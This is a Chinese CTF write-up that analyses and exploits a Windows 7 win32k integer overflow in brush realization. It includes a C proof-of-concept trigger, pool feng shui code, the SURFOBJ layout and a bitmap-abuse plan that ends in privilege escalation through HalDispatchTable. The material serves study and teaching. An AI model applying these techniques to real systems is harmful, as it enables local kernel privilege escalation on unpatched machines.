作者: wjllz
來源:先知安全技術社區

前言

DDCTF的學習在我github上面更新完了那個庫, 由于我之前做過整數溢出的學習, 加上做第二題的時候已經知道這是一個整數溢出的漏洞, and windows7的保護措施少的可憐, 所以我當時和師父說, 我覺得蠻簡單的樣子, 然后師父說, 是么, 那么把你看過的東西全忘了再做一遍. 于是... 對不起, 打擾了.

這篇文章的過程我會把自己的分析思路給貼出來. 離寫出利用到寫這篇博客已經過了很久了, 在這個過程當中對內核學習也有了新的看法. 現在的我覺得, 分析是最難的部分. 所以這篇文章會冗長一點. 希望您不要介意.

這篇文章主要分為一下幾個部分

[+] poc分析 --> 定位漏洞點
[+] 內核代碼分析 --> 定位可以利用的數據
[+] fengshui: 構造可利用的數據
[+] run shellcode: 進行提權

Let's Go

POC 分析

環境準備

下載的文件打開截圖如下:

img

查閱資料得知UUENCODE加密, 改后綴名為uu, 之后采用winrar解壓即可.

逆向POC文件

說是逆向. 其實就是一個F5的過程. 如下:

img

于是我整理了一下源碼(循環不方便調試, 所以我把循環去掉了. 之后發現還是可行的):

#include <Windows.h>
#include <iostream>

/*
* triggerVul:
*   [+] 觸發此漏洞
*/
VOID triggerTheVul()
{
    HDC hDc; // edi@1
    HDC hdcCall; // esi@1
    HICON hIcon; // ebx@1
    HBITMAP hBitMap; // eax@1
    HBRUSH i; // esi@1

    hDc = GetWindowDC(0);
    hdcCall = CreateCompatibleDC(hDc);
    hIcon = LoadIconW(0, (LPCWSTR)0x7F02);

    hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1); // 這個地方分配的大小得改為0x18
    i = CreatePatternBrush(hBitMap);
    __debugbreak();
    DrawIconEx(hDc, 0, 0x11223344, hIcon, 0x5566, 0x7788, 0x12345678u, i, 8u);
}

int main()
{
    std::cout << "[+] Trigger The vul!!!" << std::endl;
    triggerTheVul();
    return 0;
}

需要注意的是, 我在源碼當中加了一句__debugbreak(). 相當于一個斷點. 程序運行到此的時候會停下來, 這個語句十分方便內核的exp編寫調試.

編譯運行程序的驗證過程如下:

img

記錄關鍵信息

采用!analyze -v指令.

崩潰指令

img

需要注意的是, 由于我們是擁有vmware的, 所以可以有效的利用虛擬機鏡像繞過KASLR, 也就是這些指令的地址是固定的. 這樣的話我們可以記錄一下關鍵的信息方便調試.

有用的調試斷點記錄(一開始記錄的地址多謝, 這兩個是我后面寫博客的用到的):

[+] 9803d6aa -- 賦值操作起始的地方
[+] 9803d730 -- 漏洞相關的pool分配的地方
[+] 980651e0 -- 漏洞崩潰處

留意:

[+] eax的值
    ==> 為F820 0000, 值很大(請留意這個結論)
    ==> ???? 代表不可訪問
    ==> 向不能訪問的地方進行了寫操作
[+] 發生在vSrcCopyS1D32當中
崩潰原因

img

查閱windows的文檔:

img

留意:

[+] 崩潰的原因是由于對非法的內存進行了寫操作

崩潰堆棧

img

堆棧信息的每一項的格式如下

ebp 函數返回地址 第一個參數 第二個參數 ...

由上面的思路我們可以記錄如下信息

98065145 win32k!vSrcCopyS1D32+0xa5
9b20f840 win32k!EngCopyBits+0x604
9b20f900 win32k!EngRealizeBrush+0x462
9b20f998 win32k!bGetRealizedBrush+0x70c
9b20f9b0 win32k!pvGetEngRbrush+0x1f
9b20fa14 win32k!EngBitBlt+0x2bf
9b20fa78 win32k!GrePatBltLockedDC+0x22b
9b20fb24 win32k!GrePolyPatBltInternal+0x176
9b20fb60 win32k!GrePolyPatBlt+0x45
9b20fba8 win32k!_DrawIconEx+0x153
9b20fc00 win32k!NtUserDrawIconEx+0xcb
9b20fc00 nt!KiFastCallEntry+0x12a
001af930 ntdll!KiFastSystemCallRet
001af934 USER32!NtUserDrawIconEx+0xc
001af990 USER32!DrawIconEx+0x260

推測漏洞類型

分析

首先, 在IDA當中獲取崩潰指令的位置:

img

c代碼對應如下:

img

這里我要吹一個叫做source insight的閱讀源碼的工具. 極大的方便了我閱讀源碼的過程. 此處在windows NT4對應的源碼如下:

img

是不是感覺有點慌, 什么都看不懂了, 這些變量名又是干啥的呢. 沒關系的, 我們來整合一下資源.

[+] 變量名猜測這應該是做類似于由jSrc(源)向pulDst(目的地址)的賦值操作.
[+] 由源碼可以推出v17類似于pjSrc的長度
[+] 復雜的部分可以通過調試器來驗證它.

調試器部分的分析

首先, 采用IDA逆向一下關鍵函數vSrcCopyS1D32:

img

可以得到參數只有一個, 且是一個指針. 接著我們在vSrcCopyS1D32函數起始的地方設下斷點. 運行到此, 打印出指針的值以及其對應的結構體內容.

img img

運行到崩潰指令處.

img

我們看下windows nt源碼里面的各項定義:

img

可以看到eax的值是和pjDst聯系起來的. 有前面的源碼我們推測出v17類似于字符串長度. 不如來驗證他.

使用IDA找到v17對應的匯編指令.

img

在windbg當中運行到此打印出其值:

img

由于不小心失誤多操作了一次, 所以我們的值多減了一次一, 在后面我把它加回來了. 1bd5a000就是我們推測的長度. 對應BLTINFO結構體成員變量lDeltaSrc, 在其中我發現了一句有趣的注釋:

img

所以驗證了我的長度推測. 只是它復制的不是字符串. 而是其他的東西.

如果有點繞的話讓我們來總結一下目前獲得的信息:

[+] pulDst指向目標地址
[+] jSrc指向了目標字符串.
[+] 由jSrc向pulDst運送v17長度的東西A

接下來開始我們的推測之旅.

第一步

如果是我們自己寫字符串操作的話. 大概如下:

int len = 20;
char * Dst = memset(len);
for(int i = 0; i < 20; i++) // 注意這里
    Dst[i] = Src[i];

什么時候會崩潰呢. 比如:

int len = 20
char * Dst = memset(len);
for(int i = 0; i < 20+0x1000; i++)  // 注意這里
    Dst[i] = Src[i];

由前面的分析我們知道了他是一個寫操作. 所以應該是目的字符串(代指)與其長度不匹配照成的. 為什么會不匹配. 由于這個地址的字符串長度比較大, 所以我猜測它應該是一個pool, 而不是堆棧. 于是我運行了如下命令.

img

其中需要留意的信息有:

[+] Gebr為其tag. 
[+] 0x17ab5000與其復制的length是十分不一致的. 當然也有可能是由于其有特殊的運算規則.
[+] 漏洞相關的pool存在paged session pool

所以在這里我就已經可以開始推測其為整數溢出了. 理由如下

[+] 正常邏輯下size與其實際大小應該是一一對應的.
[+] 此處記錄的size遠大于其實際大小
[+] 推測:
    ==> size被記錄
    ==> 某種特殊的規則導致分配實際大小溢出變小

第二步

于是借助于tag(tag真的很有用)與前面的邏輯分析. 我定位到了分配此內存的點. 在EngRealizeBrush函數當中.

img

代碼的修復你依舊可以參照可愛的windows nt的源碼來完成. 與ulSizeTotal相關的賦值語句在這里.

img

可能你會比較疑惑的是各個變量的意義是什么, 與前面的思路一樣, 我采用了動態調試驗證.(定位到函數流, 跟著走一遍, 觀察相應變量的值). 給出結論之前先看我們POC代碼中的CreateDiscardableBitmap函數.

img

動態調試得到的結論是:

[+] cjsCanpat = (cx * 0x20 >> 3);
[+] v49 = cjScanpat * cy
[+] ulSizeTotal = cjsPanat * cyInput * 0x44

[+] 整理擴展一下pool整體分配的公式:

poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40 + 0x8(x86下的pool header)

我們原來POC傳入的大小是:

hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1);

借助于windbg, 讓我們來算一下我們的結論是否正確:

img

我們可以看到和我們前面的size(0x17ab5000)完全扯不上關系, 這是由于windbg實現的是無溢出的結果. 需要留意的是我們的1bd5a出現了

而另外一個方面我編寫了如下的c程序來看看程序的輸出.

img

bingo, 所以錯誤出現了, 我們看到了溢出的曙光.

這里的溢出一共有三個位置:

[+] cx * 0x20
[+] ((cx * 0x20) >> 3) * cy + 44
[+] poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40

利用思路

在后面的故事當中, 我查閱了的這篇文章. 獲取了利用思路.

查閱了小刀師傅給的一個關鍵數據.

img

我們選取的大小為0x10(后面我會解釋0x10的分配為什么合適), 漏洞分配的pool整體大小是`0x10+8(header)

驗證:

img

之后的利用思路如下:

[+] 風水布局布置成0xf80(bitmap)+0x18(空閑)地址
[+] 觸發漏洞使其填充0x18
[+] 利用后面的代碼覆蓋相連的bitmapA的一個關鍵變量擴充其讀寫能力
[+] 利用bitmapA擴充之后的讀寫能力去覆蓋相連的bitmapB的pvScan0
[+] bitmapB成為manager bitmap
    任意選取一個worker bitmap
[+] 由worker bitmap來實現任意讀寫

聽著有點亂? 讓我們一步一步的來.

pool fengshui

我們最后的布局效果如下

0xfe8(bitmap alloc) + 0x18(free)

首先來解釋為什么需要是這個布局(細節可以在這里找到):

[+] fe8大小的內存塊會放在頁的開頭. 釋放相連堆塊的時候不會進行`pool header`有無被破壞的檢測
[+] 0x18會被內核漏洞點分配的pool填充
[+] 漏洞的結構體是paged session pool --> 這個信息對pool fengshui十分有用.
實現.

fengshui布局這里我不會講的太細, 因為在后面的一篇爬坑指南當中我會去詳細的解釋fengshui布局的相關爬坑.

首先我們要選取合適的數據. 也就是剛剛可以分配0xfe8大小的pool, 以及此分配的pool應該為non page pool. 于是我想到了我在github上面維護的那個項目. 使用CreateBitmap是一個很好的選擇.

在調試之后(具體的調試技術在我的另外一篇爬坑文章). 再保持其余參數不變的情況下. 隨著width的關系如下:

// size = ((width-100) * 0x2) + 0x360

for (int i = 0; i < 0x1000; i++)
{
    hBitmap[i] = CreateBitmap(0x744, 2, 1, 8, NULL);
}

驗證:

img

而另外一個0x18的分配我采用了k0shi師傅的Class進行了分配, 這幾天發現了lpszMenuName也適合(請期待我的fengshui布局的文章). 代碼如下.

img

最后的結果驗證:

img

當前讀寫能力.

bitmap對應的在內核當中的結構體如下(來源: 小刀師傅的博客)

typedef struct tagSIZEL {
    LONG cx;
    LONG cy;
} SIZEL, *PSIZEL;

typedef struct _SURFOBJ {
    DHSURF  dhsurf;         //<[00,04] 04
    HSURF   hsurf;          //<[04,04] 05
    DHPDEV  dhpdev;         //<[08,04] 06
    HDEV    hdev;           //<[0C,04] 07
    SIZEL   sizlBitmap;     //<[10,08] 08 09
    ULONG   cjBits;         //<[18,04] 0A
    PVOID   pvBits;         //<[1C,04] 0B
    PVOID   pvScan0;        //<[20,04] 0C
    LONG    lDelta;         //<[24,04] 0D
    ULONG   iUniq;          //<[28,04] 0E
    ULONG   iBitmapFormat;  //<[2C,04] 0F
    USHORT  iType;          //<[30,02] 10
    USHORT  fjBitmap;       //<[32,02] xx
} SURFOBJ;

微軟有兩個API函數:

img img

其中pvBits參數存放一些字符串. 會放到pvScan0指向的地方. 而能夠讀寫的能力是由SIZEL sizlBitmap決定的.

其能夠讀寫的size = cx *cy. 所以當其中的數據如果原來的cx = 1, cy = 2. 原有的讀寫能力應該是2 * 2 = 2. 如果能覆蓋其關鍵變量cx = f, cy = f. 現有的讀寫能力就為f * f = e1. 利用擴充的讀寫能力. 我們就可以對此bitmap相連的另外一個bitmap實現讀寫. 修改器pvScan0的值. 從而實現任意讀寫(bitmap濫用會在我的另外一篇博客里面).

現在, 讓我們來觀察一下污染前后的數據對比.

img

可以看到我們的讀寫能力發生了天大的變化:

img

而在IDA對應的污染數據的代碼如下:

img

這里可以看到我們的污染最多只能可控到0x3c處, 這就是我們的size為什么要分配0x10的理由.

bitmap濫用獲取任意讀寫權限.

在今天或者明天, 我會更新bitmap濫用的細節性分析(從windows7到windows10). 所以在這里就不再贅述.

我這里講一些其他的操作. 根據前面的讀寫能力的改變. 我們能夠得到哪一個bitmap被覆蓋.

img

fix header

我們可以通過前面的數據對比獲取哪些成員變量被破壞了, 依賴于我們的bitmap獲取了任意讀寫. 能夠很輕松的實現修復. 其中修復handle那里. 在我上面的截圖紫色的部分. 發現其殘留了一個handle的備份. 實現了恢復. 也借助于此. 我獲取了hmanager的句柄值. 相關的代碼如下:

img

提權.

提權與我的第二篇博客類似, 都是替換nt!haldispatchtable的指針. 你可以去看一下我的第二篇博客

代碼:

img

驗證:

img

后記

DDCTF困擾我的點主要在分析那里, 我花了較長的時間分析其中怎么控制內核中的數據. 做的不太好的地方是構造數據那里. 實在無法了才借用了小刀師傅的數據.學到了很多的東西. 也改變了我對做內核的一些看法. anyway, 希望這一篇文章能夠對你有一點點小小的幫助.

最后, wjllz是人間笨蛋.

相關鏈接:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/874/